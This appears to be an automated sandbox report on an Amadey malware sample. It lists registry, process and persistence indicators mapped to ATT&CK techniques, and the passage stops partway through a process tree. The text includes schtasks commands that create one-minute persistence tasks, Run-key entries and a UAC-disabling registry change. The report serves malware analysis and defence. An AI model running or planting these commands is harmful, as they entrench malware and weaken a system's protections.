amadey | bc73998864190a9562a117c1e4587cc39de1bc1017b369f4aa0c736cd39b353a

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Chinese Botnet payload 2 IoCs

botnet

resource	yara_rule
behavioral1/memory/2492-199-0x0000000010000000-0x0000000010018000-memory.dmp	unk_chinese_botnet
behavioral1/memory/4716-205-0x0000000010000000-0x0000000010018000-memory.dmp	unk_chinese_botnet

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	F69F.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bd.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
99	4600	rundll32.exe
105	4232	powershell.exe
109	444	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 28 IoCs

pid	Process
4636	nbveek.exe
1760	build.exe
556	bin.exe
3780	WinComService.exe
1844	Livability.exe
2492	system32.exe
4616	trud.exe
3028	linda5.exe
4656	bd.exe
1816	computer.exe
4716	._cache_computer.exe
4664	Synaptics.exe
4696	7s96f.exe
1060	agent.exe
1128	lkjhg.exe
4908	DB61.exe
3976	E5C2.exe
2140	E769.exe
564	nbveek.exe
4752	WinComService.exe
1504	F2E3.exe
3328	F43C.exe
4660	computer.exe
4908	F69F.exe
2140	F884.exe
444	._cache_computer.exe
4592	nbveek.exe
816	WinComService.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	F69F.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	F69F.exe

Checks computer location settings 2 TTPs 11 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	bc73998864190a9562a117c1e4587cc39de1bc1017b369f4aa0c736cd39b353a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	linda5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	computer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	F43C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	bin.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	WinComService.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	system32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	agent.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	computer.exe

Loads dropped DLL 4 IoCs

pid	Process
2004	regsvr32.exe
4660	computer.exe
4660	computer.exe
4600	rundll32.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 22 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ijhgf = "\"C:\\ProgramData\\sdfghjk\\lkjhg.exe\""	agent.exe
Key created	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Windows\CurrentVersion\Run\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\linda5.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000005051\\linda5.exe"	nbveek.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ijhgf = "\"C:\\ProgramData\\sdfghjk\\lkjhg.exe\""	lkjhg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\trud.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000004051\\trud.exe"	nbveek.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	computer.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\	agent.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Imsossm.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\._cache_computer.exe"	._cache_computer.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ijhgf = "\"C:\\ProgramData\\sdfghjk\\lkjhg.exe\""	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\F43C.exe"	F43C.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system32.exe = "C:\\Users\\Admin\\AppData\\Roaming\\1000034050\\system32.exe"	WinComService.exe
Key created	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Windows\CurrentVersion\Run\	agent.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ijhgf = "\"C:\\ProgramData\\sdfghjk\\lkjhg.exe\""	agent.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system.exe = "C:\\Users\\Admin\\AppData\\Roaming\\1000034050\\system32.exe"	system32.exe
Key created	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Windows\CurrentVersion\Run\	lkjhg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ijhgf = "\"C:\\ProgramData\\sdfghjk\\lkjhg.exe\""	lkjhg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\	lkjhg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\agent.exe = "C:\\Users\\Admin\\AppData\\Roaming\\1000039050\\agent.exe"	WinComService.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bd.exe = "C:\\Users\\Admin\\AppData\\Roaming\\1000038050\\bd.exe"	WinComService.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Imsossm.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\._cache_computer.exe"	._cache_computer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ijhgf = "\"C:\\ProgramData\\sdfghjk\\lkjhg.exe\""	iexplore.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	bd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	F69F.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\G:	system32.exe
File opened (read-only)	\??\L:	system32.exe
File opened (read-only)	\??\T:	system32.exe
File opened (read-only)	\??\B:	._cache_computer.exe
File opened (read-only)	\??\N:	._cache_computer.exe
File opened (read-only)	\??\T:	._cache_computer.exe
File opened (read-only)	\??\V:	._cache_computer.exe
File opened (read-only)	\??\J:	system32.exe
File opened (read-only)	\??\P:	system32.exe
File opened (read-only)	\??\S:	system32.exe
File opened (read-only)	\??\V:	system32.exe
File opened (read-only)	\??\X:	system32.exe
File opened (read-only)	\??\W:	._cache_computer.exe
File opened (read-only)	\??\H:	system32.exe
File opened (read-only)	\??\U:	system32.exe
File opened (read-only)	\??\W:	system32.exe
File opened (read-only)	\??\H:	._cache_computer.exe
File opened (read-only)	\??\S:	._cache_computer.exe
File opened (read-only)	\??\Z:	._cache_computer.exe
File opened (read-only)	\??\F:	system32.exe
File opened (read-only)	\??\M:	system32.exe
File opened (read-only)	\??\Q:	system32.exe
File opened (read-only)	\??\K:	._cache_computer.exe
File opened (read-only)	\??\B:	system32.exe
File opened (read-only)	\??\E:	system32.exe
File opened (read-only)	\??\K:	system32.exe
File opened (read-only)	\??\R:	system32.exe
File opened (read-only)	\??\Q:	._cache_computer.exe
File opened (read-only)	\??\X:	._cache_computer.exe
File opened (read-only)	\??\I:	system32.exe
File opened (read-only)	\??\O:	system32.exe
File opened (read-only)	\??\I:	._cache_computer.exe
File opened (read-only)	\??\L:	._cache_computer.exe
File opened (read-only)	\??\M:	._cache_computer.exe
File opened (read-only)	\??\O:	._cache_computer.exe
File opened (read-only)	\??\Y:	system32.exe
File opened (read-only)	\??\E:	._cache_computer.exe
File opened (read-only)	\??\F:	._cache_computer.exe
File opened (read-only)	\??\G:	._cache_computer.exe
File opened (read-only)	\??\J:	._cache_computer.exe
File opened (read-only)	\??\P:	._cache_computer.exe
File opened (read-only)	\??\Y:	._cache_computer.exe
File opened (read-only)	\??\N:	system32.exe
File opened (read-only)	\??\Z:	system32.exe
File opened (read-only)	\??\R:	._cache_computer.exe
File opened (read-only)	\??\U:	._cache_computer.exe

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	F69F.exe
File opened for modification	\??\PhysicalDrive0	bd.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
4656	bd.exe
4908	F69F.exe
4656	bd.exe
4656	bd.exe
4656	bd.exe
4908	F69F.exe
4908	F69F.exe
4908	F69F.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4696 set thread context of 4304	4696	7s96f.exe	116
PID 1128 set thread context of 4468	1128	lkjhg.exe	131
PID 4468 set thread context of 3904	4468	iexplore.exe	134
PID 4908 set thread context of 4312	4908	DB61.exe	144
PID 3976 set thread context of 648	3976	E5C2.exe	150

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\hgfds\oijkhb.dat	iexplore.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
852	4696	WerFault.exe	113
2612	4616	WerFault.exe	103
492	4908	WerFault.exe	142
4064	3976	WerFault.exe	147

Checks SCSI registry key(s) 3 TTPs 13 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	bd.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	bd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	F69F.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F69F.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F69F.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	build.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	build.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F69F.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	bd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	F69F.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	bd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	bd.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	system32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	system32.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	._cache_computer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	._cache_computer.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1792	schtasks.exe
4228	schtasks.exe
4752	schtasks.exe
1656	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	computer.exe
Key created	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000_Classes\Local Settings	agent.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	computer.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

pid	Process
3940	reg.exe
4992	reg.exe
4976	reg.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4964	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1760	build.exe
1760	build.exe
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
4656	bd.exe
4656	bd.exe
3052	Process not Found
3052	Process not Found

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
4908	DB61.exe
3052	Process not Found
4468	iexplore.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1760	build.exe
1128	lkjhg.exe
4468	iexplore.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1844	Livability.exe
Token: SeDebugPrivilege	4616	trud.exe
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: 33	4272	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4272	AUDIODG.EXE
Token: SeDebugPrivilege	4304	vbc.exe
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeDebugPrivilege	4312	vbc.exe
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeShutdownPrivilege	3052	Process not Found
Token: SeCreatePagefilePrivilege	3052	Process not Found
Token: SeDebugPrivilege	648	vbc.exe
Token: SeShutdownPrivilege	3052	Process not Found

Suspicious use of FindShellTrayWindow 23 IoCs

pid	Process
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found
3052	Process not Found

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3052	Process not Found

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4964	EXCEL.EXE
4964	EXCEL.EXE
4468	iexplore.exe
4964	EXCEL.EXE
4964	EXCEL.EXE
4964	EXCEL.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2548 wrote to memory of 4636	2548	bc73998864190a9562a117c1e4587cc39de1bc1017b369f4aa0c736cd39b353a.exe	80
PID 2548 wrote to memory of 4636	2548	bc73998864190a9562a117c1e4587cc39de1bc1017b369f4aa0c736cd39b353a.exe	80
PID 2548 wrote to memory of 4636	2548	bc73998864190a9562a117c1e4587cc39de1bc1017b369f4aa0c736cd39b353a.exe	80
PID 4636 wrote to memory of 1792	4636	nbveek.exe	81
PID 4636 wrote to memory of 1792	4636	nbveek.exe	81
PID 4636 wrote to memory of 1792	4636	nbveek.exe	81
PID 4636 wrote to memory of 1760	4636	nbveek.exe	83
PID 4636 wrote to memory of 1760	4636	nbveek.exe	83
PID 4636 wrote to memory of 1760	4636	nbveek.exe	83
PID 4636 wrote to memory of 556	4636	nbveek.exe	86
PID 4636 wrote to memory of 556	4636	nbveek.exe	86
PID 4636 wrote to memory of 556	4636	nbveek.exe	86
PID 556 wrote to memory of 3780	556	bin.exe	87
PID 556 wrote to memory of 3780	556	bin.exe	87
PID 556 wrote to memory of 3780	556	bin.exe	87
PID 3780 wrote to memory of 4228	3780	WinComService.exe	88
PID 3780 wrote to memory of 4228	3780	WinComService.exe	88
PID 3780 wrote to memory of 4228	3780	WinComService.exe	88
PID 3780 wrote to memory of 2612	3780	WinComService.exe	90
PID 3780 wrote to memory of 2612	3780	WinComService.exe	90
PID 3780 wrote to memory of 2612	3780	WinComService.exe	90
PID 2612 wrote to memory of 308	2612	cmd.exe	92
PID 2612 wrote to memory of 308	2612	cmd.exe	92
PID 2612 wrote to memory of 308	2612	cmd.exe	92
PID 2612 wrote to memory of 4800	2612	cmd.exe	93
PID 2612 wrote to memory of 4800	2612	cmd.exe	93
PID 2612 wrote to memory of 4800	2612	cmd.exe	93
PID 2612 wrote to memory of 1456	2612	cmd.exe	94
PID 2612 wrote to memory of 1456	2612	cmd.exe	94
PID 2612 wrote to memory of 1456	2612	cmd.exe	94
PID 2612 wrote to memory of 3768	2612	cmd.exe	95
PID 2612 wrote to memory of 3768	2612	cmd.exe	95
PID 2612 wrote to memory of 3768	2612	cmd.exe	95
PID 2612 wrote to memory of 4052	2612	cmd.exe	96
PID 2612 wrote to memory of 4052	2612	cmd.exe	96
PID 2612 wrote to memory of 4052	2612	cmd.exe	96
PID 2612 wrote to memory of 3796	2612	cmd.exe	97
PID 2612 wrote to memory of 3796	2612	cmd.exe	97
PID 2612 wrote to memory of 3796	2612	cmd.exe	97
PID 4636 wrote to memory of 1844	4636	nbveek.exe	99
PID 4636 wrote to memory of 1844	4636	nbveek.exe	99
PID 4636 wrote to memory of 1844	4636	nbveek.exe	99
PID 3780 wrote to memory of 2492	3780	WinComService.exe	100
PID 3780 wrote to memory of 2492	3780	WinComService.exe	100
PID 3780 wrote to memory of 2492	3780	WinComService.exe	100
PID 2492 wrote to memory of 1120	2492	system32.exe	101
PID 2492 wrote to memory of 1120	2492	system32.exe	101
PID 2492 wrote to memory of 1120	2492	system32.exe	101
PID 4636 wrote to memory of 4616	4636	nbveek.exe	103
PID 4636 wrote to memory of 4616	4636	nbveek.exe	103
PID 4636 wrote to memory of 4616	4636	nbveek.exe	103
PID 4636 wrote to memory of 3028	4636	nbveek.exe	105
PID 4636 wrote to memory of 3028	4636	nbveek.exe	105
PID 4636 wrote to memory of 3028	4636	nbveek.exe	105
PID 3028 wrote to memory of 2004	3028	linda5.exe	106
PID 3028 wrote to memory of 2004	3028	linda5.exe	106
PID 3028 wrote to memory of 2004	3028	linda5.exe	106
PID 3780 wrote to memory of 4656	3780	WinComService.exe	109
PID 3780 wrote to memory of 4656	3780	WinComService.exe	109
PID 3780 wrote to memory of 4656	3780	WinComService.exe	109
PID 2492 wrote to memory of 1816	2492	system32.exe	110
PID 2492 wrote to memory of 1816	2492	system32.exe	110
PID 2492 wrote to memory of 1816	2492	system32.exe	110
PID 1816 wrote to memory of 4716	1816	computer.exe	111

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\bc73998864190a9562a117c1e4587cc39de1bc1017b369f4aa0c736cd39b353a.exe
"C:\Users\Admin\AppData\Local\Temp\bc73998864190a9562a117c1e4587cc39de1bc1017b369f4aa0c736cd39b353a.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2548
- C:\Users\Admin\AppData\Local\Temp\d003af69b2\nbveek.exe
  "C:\Users\Admin\AppData\Local\Temp\d003af69b2\nbveek.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\d003af69b2\nbveek.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1792
- - C:\Users\Admin\AppData\Local\Temp\1000001001\build.exe
    "C:\Users\Admin\AppData\Local\Temp\1000001001\build.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:1760
- - C:\Users\Admin\AppData\Local\Temp\1000002001\bin.exe
    "C:\Users\Admin\AppData\Local\Temp\1000002001\bin.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:556
  - - C:\Users\Admin\AppData\Local\Temp\a4e2bd6d47\WinComService.exe
      "C:\Users\Admin\AppData\Local\Temp\a4e2bd6d47\WinComService.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:3780
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN WinComService.exe /TR "C:\Users\Admin\AppData\Local\Temp\a4e2bd6d47\WinComService.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4228
    - - C:\Windows\SysWOW64\cmd.exe
        
